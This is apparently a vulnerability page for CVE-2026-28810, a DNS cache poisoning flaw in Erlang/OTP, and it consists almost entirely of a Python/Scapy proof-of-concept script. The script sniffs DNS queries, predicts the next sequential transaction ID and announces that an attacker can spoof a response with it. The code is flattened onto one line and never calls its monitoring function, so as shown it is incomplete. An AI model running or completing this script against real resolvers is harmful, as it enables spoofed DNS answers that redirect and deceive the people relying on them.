CVE-2026-28810 Erlang/OTP DNS缓存投毒漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-28810: Predictable DNS Transaction ID # This script demonstrates the logic to predict the next Transaction ID. # In a real attack, the attacker would spoof a DNS response with this ID. from scapy.all import * def predict_next_id(current_id): # Erlang/OTP uses a sequential 16-bit ID return (current_id + 1) % 65536 def monitor_dns_traffic(interface): print(f"[*] Monitoring DNS traffic on {interface}...") sniff(iface=interface, prn=dns_callback, filter="udp port 53", store=0) def dns_callback(packet): if packet.haslayer(DNS) and packet[DNS].qr == 0: current_id = packet[DNS].id predicted_id = predict_next_id(current_id) print(f"[+] Observed Query ID: {current_id}") print(f"[+] Predicted Next ID: {predicted_id}") print("[!] Attacker can now spoof a response with ID {}".format(predicted_id)) # Note: This requires root privileges and Scapy installed. # Usage: python3 poc.py